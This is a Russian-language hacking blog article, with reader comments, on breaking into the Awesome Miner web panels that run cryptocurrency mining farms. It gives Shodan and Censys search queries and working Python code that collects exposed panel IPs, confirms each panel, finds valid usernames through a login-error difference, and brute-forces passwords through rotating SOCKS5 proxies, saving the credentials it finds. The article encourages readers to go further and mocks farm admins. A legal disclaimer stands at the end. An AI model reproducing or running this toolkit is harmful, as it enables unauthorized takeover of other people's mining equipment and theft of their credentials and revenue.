Брутим майнеры. Взлом майнинговых ферм. Часть 2
Мы уже рассказывали насколько незащищено оборудование, предназначенное для майнинга криптовалют и о том, как легко можно заставить чужой асик майнить тебе. Но то была только верхушка айсберга, и сегодня мы поговорим уже не об отдельных устройствах, а о целых майнинговых фермах и о програмном обеспечении, которое их контролирует.
Ты даже не можешь себе представить насколько некомпетентны и скупы люди, которые строят майнинговые фермы. Порой, доходит просто до абсурда. Люди с фермами с сотнями майнеров используют устаревшее или того хуже, пиратское, програмное обеспечении, для обеспечния работоспособности и мониторинга своих асиков. Примеров тому много. Но в этой статье мы тебе расскажем только про один. Остальное тебе предстоит додумать самому. Благо, ресурсов посвященных майнингу в интернете очень много. Как софта, про который мы тебе расскажем сегодня.
Да мой друг, сегодня мы будем получать доступ не к отдельным машинам, а к целым фермам.
Как мы и обещали, вот и вторая часть цикла статей про брут майнеров, в первой мы разбирали процесс брута веб панели асиков от компании INNOSILICON (ознакомится с исходниками программы и посмотреть результаты можете тут, код программы, которую мы допишем в этой статье можно найти тут.), в этой части речь пойдет про брут панели Awesome Miner.
Awesome Miner – это приложение для Windows, предназначенное для управления и мониторинга майнинга Bitcoin, Litecoin, Ethereum и других криптовалют. Awesome Miner также может отображать информацию, курсы валют и делать расчеты доходности всех других популярных монет. С помощью подписки на облачные сервисы уведомления могут также доставляться с помощью SMS или Telegram. У программы также есть встроенный веб-интерфейс, доступ к которому можно получить с любого компьютера, планшета или смартфона, его мы и будем брутить.
Очень удобный инструмент. В грамотных руках.
Вот только в интернете без труда можно найти версии Awesome Miner образца 2017-2018 с уже известными проблемами и уязвимостями. И люди не только устанавливать такое ПО для обеспечения работоспособности своих ферм, но и пробрасывают управление в интернет (иногда бывает даже без пароля).
И ещё раз, в этой статье мы просто “засвечиваем” тему. О том как её раскрутить ты должен подумать сам. Могу лишь сказать, что софта для управления фермами очень много. И очень много такого ПО имеет проблемы
Поиск майнинговых ферм через Shodan и Censys
Для сбора айпи, будем использовать Python 3 с библиотеками Shodan и Censys, поэтому необходимо создать там аккаунты и получить api ключи.
Искать панели в Censys можно по этому запросу: 80.http.get.body: Awesome Miner
Дорк для шодана: title:Awesome Miner или Awesome Miner
Скрипт (Python 3) для поиска айпи:
import os
import json
import time
import shodan
import censys
import datetime
from censys import ipv4
ip_list = []
shodan_api_key = "KEY"
censys_api_key = "KEY"
censys_api_secret = "SECRET"
def shodan_scanner(dork, start=1, stop=2):
api = shodan.Shodan(shodan_api_key)
for page in range(start, stop):
try:
time.sleep(0.5)
results = api.search(dork, page=page)
for result in results['matches']:
if result['ip_str'] not in ip_list:
ip_list.append(result['ip_str'])
print(result['ip_str'])
except shodan.exception.APIError as error:
print('[!] Error: ' + str(error))
continue
def censys_scanner(dork, records=25):
c = ipv4.CensysIPv4(api_id=censys_api_key, api_secret=censys_api_secret)
try:
for result in c.search(dork, max_records=records):
res = json.dumps(result, indent=4)
r = json.loads(res)
if r["ip"] not in ip_list:
ip_list.append(r["ip"])
print(r["ip"])
except censys.exceptions as error:
print('[!] Error: ' + str(error))
if __name__ == "__main__":
if not os.path.exists('logs'):
os.mkdir('logs')
date = datetime.datetime.today().strftime("%H.%M_%d-%m-%y")
print("Finding IP...\n")
results_file = r'logs/' + date + '.txt'
print("\nCensys:")
censys_scanner("80.http.get.body: Awesome Miner", records=40)
print("\nShodan:")
shodan_scanner("Awesome Miner", stop=3)
f = open(results_file, "a")
for ip in ip_list:
f.write(str(ip) + "\n")
print(ip)
f.close()
В первой части мы детальнее разбирали этот скрипт. Версии библиотек необходимых для его работы:
censys==1.1.1
shodan==1.25.0
После запуска создастся папка logs, в которой будут текстовые файлы с айпи:
Поиск панелей из списка айпи
Список айпи мы получили, осталось найти в этом списке панели Awesome Miner, для этого перейдем на страницу /signin?returnUrl=/ и посмотрим, как происходит авторизация:
Если пользователь существует, мы получаем сообщение о неверном пароле (http://IP/signin?error=invalidpassword), это поможет нам брутить юзеров, но сначала нужно найти айпи Awesome Miner-ов среди тех, которые нам дал Shodan и Censys. Для этого будем использовать библиотеку requests.
После перехода на страницу входа (/signin), мы будем искать заголовок “Awesome Miner” и если находим его, записываем айпи в список awesome_miners, который нужно объявить в начале файла (если вы планируете использовать socks5 прокси, то нужно создать файл proxy.txt, в котором будут айпи вместе с портами):
def find_awesomeminers(url):
error = "Cannot connect to proxy"
while "Cannot connect to proxy" in str(error):
if url not in awesome_miners:
for retry in range(16):
try:
time.sleep(0.5)
if args.proxy:
prox = random.choice(proxy_list)
proxies = {
"https": "socks5h://" + str(prox),
"http": "socks5h://" + str(prox)}
send = requests.post("http://" + str(url) + "/signin", headers=headers_gen(), proxies=proxies,
verify=False, timeout=15)
else:
send = requests.post("http://" + str(url) + "/signin", headers=headers_gen(), verify=False,
timeout=15)
if r"<title>Awesome Miner</title>" in send.text:
if url not in awesome_miners:
print("[*] Awesome Miner found: " + str(url))
awesome_miners.append(url)
error = None
except Exception as e:
if "Cannot connect to proxy" in str(e) or "Read timed out" in str(e) or "Max retries exceeded" \
in str(e) or "Connection reset by peer" in str(e) or "RemoteDisconnected" in str(e):
pass
else:
print("\n" + str(e) + "\n")
error = str(e)
Скриншот работы поиска Awesome Miner-ов:
Начинаем брутить веб-панель
Теперь можем создать функцию, которая будет брутить логины для входа в панель. Процесс очень похож на тот, что мы использовали для брута AsicMiner-ов, изменений буквально пара строк, если хотите детальнее разобраться в работе, стоит прочитать первую часть.
def awesomeminer_web_user_brute(url):
for user in standard_users:
data = {“username”: user, “password”: “password”}
error = “Cannot connect to proxy”
while “Cannot connect to proxy” in str(error) or “Max retries exceeded” in str(error):
time.sleep(0.5)
try:
if args.proxy:
p = random.choice(proxy_list)
proxies = {
“https”: “socks5h://” + str(p),
“http”: “socks5h://” + str(p)}
send = requests.post(“http://” + str(url) + “/signin”, data=data, headers=headers_gen(),
proxies=proxies, verify=False, timeout=10)
else:
send = requests.post(“http://” + str(url) + “/signin”, data=data, headers=headers_gen(),
verify=False, timeout=10)
if r”/signin?error=invalidpassword” in send.url:
print(“[*] Username found: ” + user)
found = open(“found_users.txt”, “a”)
found.write(“url: ” + str(url) + “\tusername: ” + str(user) + “\n”)
found.close()
brute_data.insert(0, user)
brute_data.insert(1, url)
freeze_support()
pool_ = Pool(15)
pool_.map(awesomeminer_web_pass_brute, password_list)
pool_.close()
pool_.join()
elif r”/signin?error=invaliduser” in send.url:
print(“[-] Username ” + user + ” not found!”)
else:
print(“[!] There maybe error!”)
error = None
except Exception as e:
if “Cannot connect to proxy” in str(e) or “Max retries exceeded” in str(e):
pass
else:
print(“\n” + str(e) + “\n”)
error = str(e)
Функция для брута паролей:
def awesomeminer_web_pass_brute(password):
global brute_data
error = “Cannot connect to proxy”
user = brute_data[0]
url = brute_data[1]
print(“[!] Trying password: ” + password + ” for user: ” + str(user))
while “Cannot connect to proxy” in str(error) or “Max retries exceeded” in str(error):
try:
time.sleep(0.5)
d = {“username”: user, “password”: password}
if args.proxy:
prox = random.choice(proxy_list)
proxies = {
“https”: “socks5h://” + str(prox),
“http”: “socks5h://” + str(prox)}
pass_brute = requests.post(“http://” + str(url) + “/signin”, data=d, headers=headers_gen(),
proxies=proxies, verify=False, timeout=10)
else:
pass_brute = requests.post(“http://” + str(url) + “/signin”, data=d, headers=headers_gen(),
verify=False, timeout=10)
if r”Dashboard” in pass_brute.text:
print(“[*] Found password: ” + str(password) + ” for user: ” + str(user))
found = open(“found_pass.txt”, “a”)
found.write(“url: ” + str(url) + “\tusername: ” + str(user) + ” password: ” + password + “\n”)
found.close()
error = None
except Exception as e:
if “Cannot connect to proxy” in str(e) or “Max retries exceeded” in str(e):
pass
else:
print(“\n” + str(e) + “\n”)
error = str(e)
Скриншот работы брута логина и пароля:
После успешного брута появится файл found_pass.txt, в котором будет логин и пароль, с которым вы сможете войти в веб-панель:
Мы тебе показали лишь с чего начинать. Что делать дальше – думай сам. Фермы бывают очень разные. И по 10 асиков. И по 100. А бывает и по 1000. Как мы убедились, DevOPSы и админы там – не самые умные люди. А зачастую – просто откровенные идиоты.
Напоминаем, что больше об этом можно прочитать на каналах CyberSec’s, ПТУ№69. A если у вас остались вопросы, задать их можно у нас в чатах первокурсников ПТУ, @ebursapublic и @badbclub, там же вы можете поделится своими результатами и идеями для следующих публикаций.
ВНИМАНИЕ! АДМИНИСТРАЦИЯ САЙТА НЕ СОВЕРШАЕТ И НЕ РЕКОМЕНДУЕТ ВАМ СОВЕРШАТЬ ПРОТИВОПРАВНЫХ ДЕЙСТВИЙ ИЛИ ПОЛУЧАТЬ НЕСАНКЦИОНИРОВАННЫЙ ДОСТУП К СИСТЕМАМ. ДАННАЯ СТАТЬЯ НАПРАВЛЕНА НА ТО, ЧТОБЫ УКАЗАТЬ НА ПРОБЛЕМЫ С СИСТЕМАМИ И ПРЕДОСТЕРЕЧЬ ПОЛЬЗОВАТЕЛЕЙ ОТ ВОЗМОЖНЫХ АТАК.
Finding IP…
Censys:
Traceback (most recent call last):
File “C:\Users\Admin\Desktop\Новая папка (2)\1.py”, line 33, in censys_scanner
for result in c.search(dork, max_records=records):
File “C:\Users\Admin\AppData\Local\Programs\Python\Python310\lib\site-packages\censys\api.py”, line 168, in search
pages = payload[“metadata”][“pages”]
KeyError: ‘metadata’
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File “C:\Users\Admin\Desktop\Новая папка (2)\1.py”, line 53, in
censys_scanner(“80.http.get.body: Awesome Miner”, records=40)
File “C:\Users\Admin\Desktop\Новая папка (2)\1.py”, line 39, in censys_scanner
except censys.exceptions as error:
TypeError: catching classes that do not inherit from BaseException is not allowed
Помоги пожалуйста, что нужно сделать?
not work.
в новой версии censys надо так:
from censys.search import CensysHosts
def censys_scanner(dork, records=25):
c = CensysHosts(api_id=censys_api_key, api_secret=censys_api_secret)